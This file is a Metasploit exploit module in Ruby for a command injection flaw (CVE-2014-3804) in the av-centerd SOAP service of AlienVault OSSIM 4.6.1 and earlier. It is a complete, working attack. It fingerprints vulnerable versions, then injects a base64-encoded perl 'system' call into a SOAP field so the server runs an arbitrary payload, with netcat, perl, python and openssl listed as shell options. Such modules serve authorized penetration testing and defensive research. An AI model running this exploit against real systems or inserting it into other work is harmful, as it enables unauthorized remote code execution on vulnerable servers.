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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'rexml/document'
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::HttpClient
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  include REXML
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'          => 'AlienVault OSSIM av-centerd Command Injection',
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      'Description'   => %q{
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        This module exploits a code execution flaw in AlienVault 4.6.1 and
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        prior.  The vulnerability exists in the av-centerd SOAP web service,
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        where the update_system_info_debian_package method uses perl backticks
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        in an insecure way, allowing command injection. This module has been
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        tested successfully on AlienVault 4.6.0.
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      },
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      'Author'        =>
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        [
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          'Unknown', # From HP ZDI team, Vulnerability discovery
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          'juan vazquez' # Metasploit module
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        ],
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      'License'       => MSF_LICENSE,
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      'References'    =>
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        [
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          ['CVE', '2014-3804'],
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          ['BID', '67999'],
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          ['ZDI', '14-202'],
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          ['URL', 'http://forums.alienvault.com/discussion/2690']
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        ],
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      'Privileged'     => true,
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      'Platform'       => 'unix',
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      'Arch'           => ARCH_CMD,
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      'Payload'        =>
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        {
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          #'BadChars'   => "[;`$<>|]", # Don't apply bcuz of the perl stub applied
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          'Compat'      => {
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            'RequiredCmd' => 'perl netcat-e openssl python gawk'
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          }
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        },
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      'DefaultOptions' =>
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        {
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          'SSL' => true
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        },
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      'Targets'        =>
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        [
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          [ 'AlienVault <= 4.6.1', { }]
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        ],
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      'DefaultTarget'  => 0,
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      'DisclosureDate' => '2014-05-05'))
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    register_options(
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      [
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        Opt::RPORT(40007)
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      ])
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  end
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  def check
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    version = ""
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    res = send_soap_request("get_dpkg")
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    if res &&
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       res.code == 200 &&
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       res.headers['SOAPServer'] &&
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       res.headers['SOAPServer'] =~ /SOAP::Lite/ &&
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       res.body.to_s =~ /alienvault-center\s*([\d\.]*)-\d/
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      version = $1
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    end
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    if version.empty? || version >= "4.7.0"
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      return Exploit::CheckCode::Safe
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    else
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      return Exploit::CheckCode::Appears
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    end
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  end
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  def exploit
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    send_soap_request("update_system_info_debian_package", 1)
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  end
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  def build_soap_request(method)
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    xml = Document.new
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    xml.add_element(
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      "soap:Envelope",
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      {
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        'xmlns:xsi'          => "http://www.w3.org/2001/XMLSchema-instance",
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        'xmlns:soapenc'      => "http://schemas.xmlsoap.org/soap/encoding/",
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        'xmlns:xsd'          => "http://www.w3.org/2001/XMLSchema",
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        'soap:encodingStyle' => "http://schemas.xmlsoap.org/soap/encoding/",
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        'xmlns:soap'         => "http://schemas.xmlsoap.org/soap/envelope/"
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      })
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    body = xml.root.add_element("soap:Body")
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    m = body.add_element(
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      method,
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      {
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        'xmlns' => "AV/CC/Util"
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      })
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    args = []
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    args[0] = m.add_element("c-gensym3", {'xsi:type' => 'xsd:string'})
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    args[1] = m.add_element("c-gensym5", {'xsi:type' => 'xsd:string'})
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    args[2] = m.add_element("c-gensym7", {'xsi:type' => 'xsd:string'})
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    args[3] = m.add_element("c-gensym9", {'xsi:type' => 'xsd:string'})
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    (0..3).each { |i| args[i].text = rand_text_alpha(4 + rand(4)) }
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    if method == "update_system_info_debian_package"
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      args[4] = m.add_element("c-gensym11", {'xsi:type' => 'xsd:string'})
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      perl_payload  = "system(decode_base64"
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      perl_payload += "(\"#{Rex::Text.encode_base64(payload.encoded)}\"))"
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      args[4].text  = "#{rand_text_alpha(4 + rand(4))}"
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      args[4].text += " && perl -MMIME::Base64 -e '#{perl_payload}'"
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    end
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    xml.to_s
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  end
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  def send_soap_request(method, timeout = 20)
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    soap = build_soap_request(method)
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    res = send_request_cgi({
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      'uri'      => '/av-centerd',
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      'method'   => 'POST',
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      'ctype'    => 'text/xml; charset=UTF-8',
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      'data'     => soap,
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      'headers'  => {
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        'SOAPAction' => "\"AV/CC/Util##{method}\""
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      }
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    }, timeout)
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    res
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  end
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end
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